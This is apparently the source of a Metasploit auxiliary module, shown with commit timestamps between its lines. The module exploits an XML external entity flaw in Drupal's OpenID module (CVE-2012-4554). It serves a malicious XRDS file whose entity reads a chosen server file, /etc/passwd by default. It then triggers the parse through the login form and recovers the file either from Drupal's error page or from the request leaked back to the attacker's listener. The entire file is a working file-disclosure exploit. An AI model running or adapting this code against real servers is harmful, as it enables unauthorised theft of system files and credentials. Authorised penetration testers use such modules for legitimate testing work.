metasploit-framework/modules/auxiliary/gather/drupal_openid_xxe.rb

200 lines
5.3 KiB
Ruby
Raw Normal View History

2014-01-24 00:04:31 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal OpenID External Entity Injection',
'Description' => %q{
This module abuses a XML External Entity Injection on the OpenID module
from Drupal. The vulnerability exists on the parsing of a malformed XRDS
file coming from a malicious OpenID endpoint. This module has been tested
successfully on Drupal 7.15 with the OpenID module enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Reginaldo Silva', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-4554' ],
[ 'OSVDB', '86429' ],
[ 'BID', '56103' ],
2014-01-24 00:10:57 +00:00
[ 'URL', 'https://drupal.org/node/1815912' ],
2014-01-24 00:04:31 +00:00
[ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ],
[ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
],
'DisclosureDate' => 'Oct 17 2012'
))
register_options(
[
OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
], self.class)
end
def xrds_file
xrds = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT URI ANY>
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">
]>
<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns="xri://$xrd*($v*2.0)" xmlns:openid="http://openid.net/xmlns/1.0">
<XRD>
<Status cid="verified"/>
<ProviderID>xri://@</ProviderID>
<CanonicalID>http://example.com/user</CanonicalID>
<Service>
<Type>http://specs.openid.net/auth/2.0/signon</Type>
<Type>http://openid.net/srv/ax/1.0</Type>
<URI>#{get_uri}/#{@prefix}/&xxe;/#{@suffix}</URI>
<LocalID>http://example.com/xrds</LocalID>
</Service>
</XRD>
</xrds:XRDS>
EOF
return xrds
end
def primer
2014-01-24 00:30:18 +00:00
res = send_openid_auth(get_uri)
2014-01-24 00:04:31 +00:00
if res.nil?
# nothing to do here...
service.stop
return
end
unless res.code == 500
print_warning("#{peer} - Unexpected answer, trying to parse anyway...")
end
error_loot = parse_loot(res.body)
# Check if file was retrieved on the drupal answer
# Better results, because there isn't URL encoding,
# plus probably allows to retrieve longer files.
unless error_loot.blank?
print_status("#{peer} - File found on the Drupal answer")
store(error_loot)
service.stop
return
end
# Check if file was leaked to the fake OpenID endpoint
# Contents are probably URL encoded, plus probably long
# files aren't full, but something is something :-)
unless @loot.blank?
print_status("#{peer} - File contents leaked through the OpenID request")
store(@loot)
service.stop
return
end
# Nothing :( just stop the service
# so the auxiliary module stops
service.stop
end
2014-01-24 00:30:18 +00:00
def check
signature = Rex::Text.rand_text_alpha(5 + rand(5))
res = send_openid_auth(signature)
unless res
return Exploit::CheckCode::Unknown
end
if res.code == 200 and res.body =~ /openid_identifier.*#{signature}/
return Exploit::CheckCode::Detected
end
if generated_with_drupal?(res)
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end
def generated_with_drupal?(http_response)
return false if http_response.blank?
return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/
return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/
return false
end
2014-01-24 00:04:31 +00:00
def run
@prefix = Rex::Text.rand_text_alpha(4 + rand(4))
@suffix = Rex::Text.rand_text_alpha(4 + rand(4))
exploit
end
def on_request_uri(cli, request)
if request.uri =~ /#{@prefix}/
vprint_status("Signature found, parsing file...")
@loot = parse_loot(request.uri)
return
end
print_status("Sending XRDS...")
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
end
2014-01-24 00:30:18 +00:00
def send_openid_auth(identifier)
2014-01-24 00:04:31 +00:00
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s, "/"),
'method' => 'POST',
'vars_get' => {
"q" => "node",
"destination" => "node"
},
'vars_post' => {
2014-01-24 00:30:18 +00:00
"openid_identifier" => identifier,
2014-01-24 00:04:31 +00:00
"name" => "",
"pass" => "",
"form_id" => "user_login_block",
"op" => "Log in"
}
})
return res
end
def store(data)
path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
print_good("#{peer} - File saved to path: #{path}")
end
def parse_loot(data)
return nil if data.blank?
# Full file found
if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m
return $1
end
# Partial file found
if data =~ /#{@prefix}\/(.*)/m
return $1
end
return nil
end
end